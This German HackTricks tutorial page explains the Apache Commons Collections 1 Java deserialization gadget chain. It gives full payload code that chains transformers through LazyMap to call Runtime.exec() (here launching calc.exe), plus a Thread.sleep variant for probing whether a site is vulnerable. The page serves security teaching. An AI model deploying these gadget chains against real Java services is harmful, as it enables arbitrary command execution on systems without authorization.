CommonsCollection1 Payload - Java Transformers zu Rutime exec() und Thread Sleep
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Java Transformers zu Rutime exec()
An mehreren Stellen finden Sie eine Java-Deserialisierungs-Payload, die Transformer aus den Apache Common Collections verwendet, wie die folgende:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Wenn Sie nichts über Java-Deserialisierungs-Payloads wissen, könnte es schwierig sein herauszufinden, warum dieser Code einen Calc ausführt.
Zunächst müssen Sie wissen, dass ein Transformer in Java etwas ist, das eine Klasse empfängt und sie in eine andere umwandelt.
Es ist auch interessant zu wissen, dass die Payload, die hier ausgeführt wird, äquivalent ist zu:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Oder genauer gesagt, was am Ende ausgeführt wird, wäre:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Wie
Also, wie ist die erste Payload, die präsentiert wird, gleichwertig zu diesen "einfachen" Einzeilern?
Zuerst können Sie in der Payload erkennen, dass eine Kette (Array) von Transformationen erstellt wird:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Wenn Sie den Code lesen, werden Sie feststellen, dass Sie, wenn Sie irgendwie die Transformation des Arrays verketten, in der Lage sein könnten, beliebige Befehle auszuführen.
Also, wie werden diese Transformationen verkettet?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
Im letzten Abschnitt der Payload können Sie sehen, dass ein Map-Objekt erstellt wird. Dann wird die Funktion decorate
von LazyMap
mit dem Map-Objekt und den verketteten Transformatoren ausgeführt. Aus dem folgenden Code können Sie sehen, dass dies dazu führen wird, dass die verketteten Transformatoren im Attribut lazyMap.factory
kopiert werden:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
Und dann wird das große Finale ausgeführt: lazyMap.get("anything");
Dies ist der Code der get
-Funktion:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Und dies ist der Code der transform
-Funktion
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Also, denken Sie daran, dass wir innerhalb der factory chainedTransformer
gespeichert haben und innerhalb der transform
-Funktion alle diese verketteten Transformer durchlaufen und nacheinander ausführen. Das Lustige daran ist, dass jeder Transformer object
als Eingabe verwendet und object die Ausgabe des zuletzt ausgeführten Transformers ist. Daher werden alle Transformationen verkettet ausgeführt, um die bösartige Payload auszuführen.
Zusammenfassung
Am Ende, aufgrund der Art und Weise, wie lazyMap die verketteten Transformer innerhalb der get-Methode verwaltet, ist es, als ob wir den folgenden Code ausführen würden:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Beachten Sie, dass value
die Eingabe jeder Transformation und die Ausgabe der vorherigen Transformation ist, was die Ausführung einer Einzeiler ermöglicht:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Beachten Sie, dass hier die Gadgets erklärt wurden, die für die ComonsCollections1 Payload verwendet werden. Aber es bleibt offen, wie das Ganze ausgeführt wird. Sie können hier sehen, dass ysoserial zur Ausführung dieser Payload ein AnnotationInvocationHandler
-Objekt verwendet, da dieses Objekt beim Deserialisieren die Funktion payload.get()
aufrufen wird, die die gesamte Payload ausführt.
Java Thread Sleep
Diese Payload könnte nützlich sein, um zu identifizieren, ob die Website anfällig ist, da sie eine Pause ausführt, wenn dies der Fall ist.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Mehr Gadgets
Sie finden weitere Gadgets hier: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.